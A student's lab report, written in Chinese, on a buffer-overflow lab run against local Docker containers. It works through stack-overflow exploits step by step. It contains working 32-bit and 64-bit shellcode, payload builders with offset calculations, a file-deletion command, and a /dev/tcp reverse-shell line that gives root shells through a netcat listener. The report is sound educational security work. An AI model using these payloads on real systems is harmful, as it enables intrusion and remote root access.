lab_2 report

57119122 刘恒睿

容器编号：

```
[07/11/21]seed@VM:~/.../attack-code$ dockps
45196650b302  server-4-10.9.0.8
3e73409877bf  server-3-10.9.0.7
70e4edb46f93  server-2-10.9.0.6
085ee6e60772  server-1-10.9.0.5
```

Task1.

首先在/home/seed 目录下创建文件 test.txt：

```
[07/10/21]seed@VM:~$ touch test.txt
[07/10/21]seed@VM:~$ ls
Desktop    Downloads  Music     Public  Templates  test.txt
Documents  ls         Pictures  snap    test.c     Videos
```

修改后的 shellcode：

shellcode_64.py

```
#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "/bin/ls -l; rm /home/seed/test.txt;                      *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

# Save the binary code to file
with open('codefile_64', 'wb') as f:
  f.write(content)
```

执行结果：

```
[07/10/21]seed@VM:~/.../shellcode$ vim shellcode_64.py
[07/10/21]seed@VM:~/.../shellcode$ ./shellcode_64.py
[07/10/21]seed@VM:~/.../shellcode$ a64.out
total 68
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Jul 10 03:49 a32.out
-rwxrwxr-x 1 seed seed 16888 Jul 10 03:49 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rwxrwxr-x 1 seed seed  1295 Jul 10 04:08 cl.py
-rw-rw-r-- 1 seed seed   136 Jul 10 03:49 codefile_32
-rw-rw-r-- 1 seed seed   165 Jul 10 04:12 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Jul 10 04:12 shellcode_64.py
-rw-rw-r-- 1 seed seed     0 Jul 10 03:56 test.text
[07/10/21]seed@VM:~/.../shellcode$
```

到/home/seed 目录下发现文件 test.txt 已被删除

```
[07/10/21]seed@VM:~$ ls
Desktop    Downloads  Music     Public  Templates  Videos
Documents  ls         Pictures  snap    test.c
```

Task2.

目的容器的信息：

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd338
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd2c8
```

攻击程序设计：

设计 shellcode 实现的任务是 ls -l 和在/home/seed 目录下建立一个 test.txt 文件。

```
#!/usr/bin/python3
import sys

shellcode= (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   #"bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1                *"
   "/bin/ls -l; touch /home/seed/test.txt;                     *"
   "AAAA"    # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"    # Placeholder for argv[1] --> "-c"
   "CCCC"    # Placeholder for argv[2] --> the command string
   "DDDD"    # Placeholder for argv[3] --> NULL   # Put the shellcode in here
).encode('latin-1')
```

取 shellcode 的起始存储位置为 200。

```
# Put the shellcode somewhere in the payload
start = 200            # Change this number
content[start:start + len(shellcode)] = shellcode
```

Offset=0xffffd338-0xffffd2c8+4

将 ret 设置为 ebq 地址加 8，确保可以执行到 shellcode 部分。

```
# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd338+8      # Change this number
offset = 0x74             # Change this number

```

攻击结果：

服务器端：

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd338
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd2c8
server-1-10.9.0.5 | total 764
server-1-10.9.0.5 | -rw------- 1 root root 315392 Jul 12 00:09 core
server-1-10.9.0.5 | -rwxrwxr-x 1 root root  17880 Jun 15 08:41 server
server-1-10.9.0.5 | -rwxrwxr-x 1 root root 709188 Jun 15 08:41 stack
```

进入容器的 shell 查看目标文件是否建立：

```
root@085ee6e60772:/home/seed# ls
test.txt
root@085ee6e60772:/home/seed#
```

综上，本次攻击成功。

Reverse shell:

攻击程序设计：

修改 shellcode 的命令，从服务器的端的信息可知，容器的连接来自 10.9.0.1，所以将 ip 设置为 10.9.0.1

```
shellcode= (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1                *"
  # "/bin/ls -l; touch /home/seed/test.txt;                    *"
   "AAAA"    # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"    # Placeholder for argv[1] --> "-c"
   "CCCC"    # Placeholder for argv[2] --> the command string
   "DDDD"    # Placeholder for argv[3] --> NULL   # Put the shellcode in here
).encode('latin-1')
```

攻击结果：

```
[07/11/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 34532
root@085ee6e60772:/bof#
```

Task3.

目的容器信息：

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd278
server-2-10.9.0.6 | ==== Returned Properly ====
```

攻击程序设计：

shellcode 部分：

```
import sys

shellcode= (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1                *"
   #"/bin/ls -l; touch /home/seed/test.txt;                    *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL   # Put the shellcode in here
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

```

因为 Buffer 长度未知，所以将 shellcode 插入到文件尾部。
将地址设置为 Buffer 地址加 Buffer 最大长度，无论 Buffer 长度是多少都不会返回到 Buffer 内。
以 4 为步长，从 0-300 遍历 offset 的值。

```
start =517-len(shellcode)          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd278+300      # Change this number
offset = 0            # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(75):
        content[offset*4:offset*4+4] = (ret).to_bytes(4,byteorder='little')
################################################################################
```

攻击结果：
普通攻击.

```
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd278
server-2-10.9.0.6 | total 764
server-2-10.9.0.6 | -rw------- 1 root root 315392 Jul 12 02:53 core
server-2-10.9.0.6 | -rwxrwxr-x 1 root root  17880 Jun 15 08:41 server
server-2-10.9.0.6 | -rwxrwxr-x 1 root root 709188 Jun 15 08:41 stack
```

```
root@70e4edb46f93:/bof# cd /home/seed
root@70e4edb46f93:/home/seed# ls
test.txt
root@70e4edb46f93:/home/seed#
```

Reverse shell.

```
[07/11/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 48552
root@70e4edb46f93:/bof#
```

综上，攻击成功。

Task4.

目的容器信息：

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe270
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe1a0
server-3-10.9.0.7 | ==== Returned Properly ====
```

攻击程序设计：

修改 shellcode 为 64 位格式.

```
#!/usr/bin/python3
import sys

shellcode= (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1                *"
   #"/bin/ls -l; touch /home/seed/test.txt;                    *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL   # Put the shellcode in here
).encode('latin-1')
# Fill the content with NOP's
```

此处将 shellcode 插入到 ret 之前，确保在读取到 ret 之前已将 shellcode 存入栈，同时将 ret 设置为 Buffer 的起始地址，返回时会一直执行到 shellcode 部分。

```
# Put the shellcode somewhere in the payload
start =8           # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffe1a0      # Change this number
offset = 0xd8            # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset+8] = (ret).to_bytes(8,byteorder='little')
############################################################################
```

攻击结果：

普通攻击.

```
root@3e73409877bf:/bof# cd /home/seed
root@3e73409877bf:/home/seed# ls
test.txt
root@3e73409877bf:/home/seed#
```

Reverse shell.

```
[07/12/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.7 44730
root@3e73409877bf:/bof#
```

综上，攻击成功。

Task7.

Task7.a

编译程序：

```
[07/12/21]seed@VM:~/.../server-code$ vim Makefile
[07/12/21]seed@VM:~/.../server-code$ make gcc -DBUF_SIZE=$(L1) -o stack -z exec
tack stack.c
L1: command not found
make: invalid option -- 'D'
make: invalid option -- 'U'
make: invalid option -- 'F'
make: invalid option -- '_'
make: invalid option -- 'z'
Usage: make [options] [target] ...
Options:
```

将 attack_code 内的 badfile 复制到此目录下：

```
[07/12/21]seed@VM:~/.../Labsetup$ cp attack-code/badfile server-code/badfile
[07/12/21]seed@VM:~/.../Labsetup$ cd server-code/
[07/12/21]seed@VM:~/.../server-code$ ls
badfile   server    stack.c   stack-L2  stack-L4
Makefile  server.c  stack-L1  stack-L3
```

执行结果：

```
[07/12/21]seed@VM:~/.../server-code$ ./stack-L1 < badfile
Input size: 517
Frame Pointer (ebp) inside bof():  0xffffcb38
Buffer's address inside bof():     0xffffcac8
Segmentation fault
[07/12/21]seed@VM:~/.../server-code$
```

解释：

因为打开了堆栈保护，badfile 长度大于 Buffer 长度，当系统检测到大于 Buffer 长度的输入时，就会中止程序，弹出错误信息。

Task7.b

修改 Makefile 文件：

```
all:
	gcc -m32  -o a32.out call_shellcode.c
	gcc  -o a64.out call_shellcode.c

clean:
	rm -f a32.out a64.out codefile_32 codefile_64
```

执行结果：

```
[07/12/21]seed@VM:~/.../shellcode$ make
gcc -m32  -o a32.out call_shellcode.c
gcc  -o a64.out call_shellcode.c
[07/12/21]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  cl.py  codefile_32  codefile_64  Makefile  REAL
[07/12/21]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[07/12/21]seed@VM:~/.../shellcode$
```

解释：
因为打开了不可执行的堆栈保护，当系统检测到可以执行的 shellcode 时，就会中止程序。

实验总结：

本次实验通过利用 Buffer 溢出问题，攻击具有漏洞的程序，使程序执行恶意代码。

实验的内容层层递进，从一开始的给出 Buffer 的起始地址和 ebq 的地址，到只给出 Buffer 的起始地址，到地址段有 0 值。在解决这些问题的过程中，我对 Buffer 溢出攻击的原理理解越来越深入，大体上了解了 shellcode 的使用方法。

在实验中，我还了解到系统对 Buffer 溢出攻击的保护有堆栈保护，不可执行的堆栈保护等。